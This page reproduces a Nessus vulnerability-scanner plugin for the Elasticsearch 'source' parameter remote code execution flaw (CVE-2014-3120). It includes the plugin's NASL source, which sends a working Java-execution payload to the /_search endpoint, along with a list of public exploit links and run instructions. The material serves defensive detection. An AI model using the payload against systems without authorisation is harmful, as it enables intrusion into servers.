Elasticsearch 'source' Parameter RCE - Nessus

Medium   Plugin ID: 76572

This page contains detailed information about the Elasticsearch 'source' Parameter RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 76572
Name: Elasticsearch 'source' Parameter RCE
Filename: elasticsearch_rce.nasl
Vulnerability Published: 2013-12-09
This Plugin Published: 2014-07-17
Last Modification Time: 2022-03-28
Plugin Version: 1.11
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: elasticsearch_detect.nbin
Required KB Items [?]: installed_sw/Elasticsearch

Vulnerability Information


Severity: Medium
Vulnerability Published: 2013-12-09
Patch Published: 2014-05-22
CVE [?]: CVE-2014-3120
CPE [?]: cpe:/a:elasticsearch:elasticsearch
Exploited by Malware: True

Synopsis

The remote web server hosts a Java application that is affected by a remote code execution vulnerability.

Description

The Elasticsearch application hosted on the remote web server is affected by a remote code execution vulnerability due to a failure to properly sanitize user-supplied input to the 'source' parameter of the '/_search' page. A remote, unauthenticated attacker can exploit this flaw to execute arbitrary Java code or manipulate files on the remote host.

Solution

Upgrade to version 1.2.0 or later.

Public Exploits


Target Network Port(s): 9200
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Elasticsearch 'source' Parameter RCE vulnerability:

  1. Metasploit: exploit/multi/elasticsearch/script_mvel_rce
    [ElasticSearch Dynamic Script Arbitrary Java Execution]
  2. Exploit-DB: exploits/java/remote/33588.rb
    [EDB-33588: ElasticSearch Dynamic Script - Arbitrary Java Execution (Metasploit)]
  3. Exploit-DB: exploits/multiple/webapps/33370.html
    [EDB-33370: ElasticSearch - Remote Code Execution]
  4. GitHub: https://github.com/0ps/pocassistdb
    [CVE-2014-3120]
  5. GitHub: https://github.com/ACIC-Africa/metasploitable3
    [CVE-2014-3120]
  6. GitHub: https://github.com/Karma47/Cybersecurity_base_project_2
    [CVE-2014-3120]
  7. GitHub: https://github.com/NCSU-DANCE-Research-Group/CDL
    [CVE-2014-3120]
  8. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2014-3120]
  9. GitHub: https://github.com/ahm3dhany/IDS-Evasion
    [CVE-2014-3120]
  10. GitHub: https://github.com/amcai/myscan
    [CVE-2014-3120]
  11. GitHub: https://github.com/bigblackhat/oFx
    [CVE-2014-3120]
  12. GitHub: https://github.com/echohtp/ElasticSearch-CVE-2014-3120
    [CVE-2014-3120: POC Code to exploite CVE-2014-3120]
  13. GitHub: https://github.com/fengjixuchui/RedTeamer
    [CVE-2014-3120]
  14. GitHub: https://github.com/hktalent/myhktools
    [CVE-2014-3120]
  15. GitHub: https://github.com/jeffgeiger/es_inject
    [CVE-2014-3120: Demonstration of CVE-2014-3120]
  16. GitHub: https://github.com/jweny/pocassistdb
    [CVE-2014-3120]
  17. GitHub: https://github.com/maasikai/cybersecuritybase-project-2
    [CVE-2014-3120]
  18. GitHub: https://github.com/paralax/awesome-honeypots
    [CVE-2014-3120]
  19. GitHub: https://github.com/webshell1414/honey
    [CVE-2014-3120]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2014-3120
CVSS V2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C
CVSS Base Score:6.8 (Medium)
Impact Subscore:6.4
Exploitability Subscore:8.6
CVSS Temporal Score:5.9 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.9 (Medium)

Go back to menu.

Plugin Source


This is the elasticsearch_rce.nasl nessus plugin source code. This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(76572);
  script_version("1.11");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/03/28");

  script_cve_id("CVE-2014-3120");
  script_bugtraq_id(67731);
  script_xref(name:"EDB-ID", value:"33370");
  script_xref(name:"EDB-ID", value:"33588");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");

  script_name(english:"Elasticsearch 'source' Parameter RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a Java application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Elasticsearch application hosted on the remote web server is
affected by a remote code execution vulnerability due to a failure to
properly sanitize user-supplied input to the 'source' parameter of the
'/_search' page. A remote, unauthenticated attacker can exploit this
flaw to execute arbitrary Java code or manipulate files on the remote
host.");
  script_set_attribute(attribute:"see_also", value:"http://bouk.co/blog/elasticsearch-rce/");
  script_set_attribute(attribute:"see_also", value:"https://www.elastic.co/blog/found-elasticsearch-security");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.2.0 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-3120");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'ElasticSearch Dynamic Script Arbitrary Java Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/12/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/05/22");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/07/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:elasticsearch:elasticsearch");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("elasticsearch_detect.nbin");
  script_require_keys("installed_sw/Elasticsearch");
  script_require_ports("Services/www", 9200);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");

app = "Elasticsearch";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:9200);

install = get_single_install(
  app_name            : app,
  port                : port
);

dir  = install['path'];
url  = build_url(qs:dir, port:port);
vuln = FALSE;

j_int  = rand();
j_int2 = rand();
j_int3 = rand();

attack = '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"' +
  'script_fields":{"Java Properties":{"script":"import java.lang.*;\\n' +
  'System.getProperties();"}}}&callback=jQuery' + j_int + '_' + j_int2 +
  '&_=' + j_int3;

attack = urlencode(
  str        : attack,
  unreserved : 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.&=_*()',
  case_type  : HEX_UPPERCASE
);
attack = dir+"_search?source="+attack;

res = http_send_recv3(
  method : "GET",
  port   : port,
  item   : attack,
  exit_on_fail : TRUE
);

vuln = (
  ("jQuery" + j_int + "_" + j_int2)  >< res[2] &&
  "java.specification.version"       >< res[2] &&
  "java.version"                     >< res[2] &&
  '"successful":'                    >< res[2]
);

if (!vuln) 
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);

attack = build_url(qs:attack, port:port);
security_report_v4(
  port       : port,
  severity   : SECURITY_WARNING,
  cmd        : "System.getProperties()",
  output     : res[2],
  request    : make_list(attack),
  line_limit : 25
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/elasticsearch_rce.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\elasticsearch_rce.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/elasticsearch_rce.nasl

Go back to menu.

How to Run


Here is how to run the Elasticsearch 'source' Parameter RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Elasticsearch 'source' Parameter RCE plugin ID 76572.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl elasticsearch_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a elasticsearch_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - elasticsearch_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state elasticsearch_rce.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 84411 - FreeBSD : elasticsearch and logstash -- remote OS command execution via dynamic scripting (43ac9d42-1b9a-11e5-b43d-002590263bf5)
  • 77661 - RHEL 6 : katello-configure (RHSA-2014:1186)
  • 119499 - Elasticsearch ESA-2015-06
  • 81816 - Elasticsearch Groovy Script RCE
  • 105752 - Elasticsearch Transport Protocol Unspecified Remote Code Execution
  • 83147 - Debian DSA-3241-1 : elasticsearch - security update
  • 84409 - FreeBSD : elasticsearch -- remote OS command execution via Groovy scripting engine (026759e0-1ba3-11e5-b43d-002590263bf5)
  • 84413 - FreeBSD : elasticsearch -- directory traversal attack with site plugins (a71e7440-1ba3-11e5-b43d-002590263bf5)
  • 85245 - FreeBSD : elasticsearch -- directory traversal attack via snapshot API (ae8c09cb-32da-11e5-a4a5-002590263bf5)
  • 85246 - FreeBSD : elasticsearch -- remote code execution via transport protocol (fb3668df-32d7-11e5-a4a5-002590263bf5)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file elasticsearch_rce.nasl version 1.11. For more plugins, visit the Nessus Plugin Library.

Go back to menu.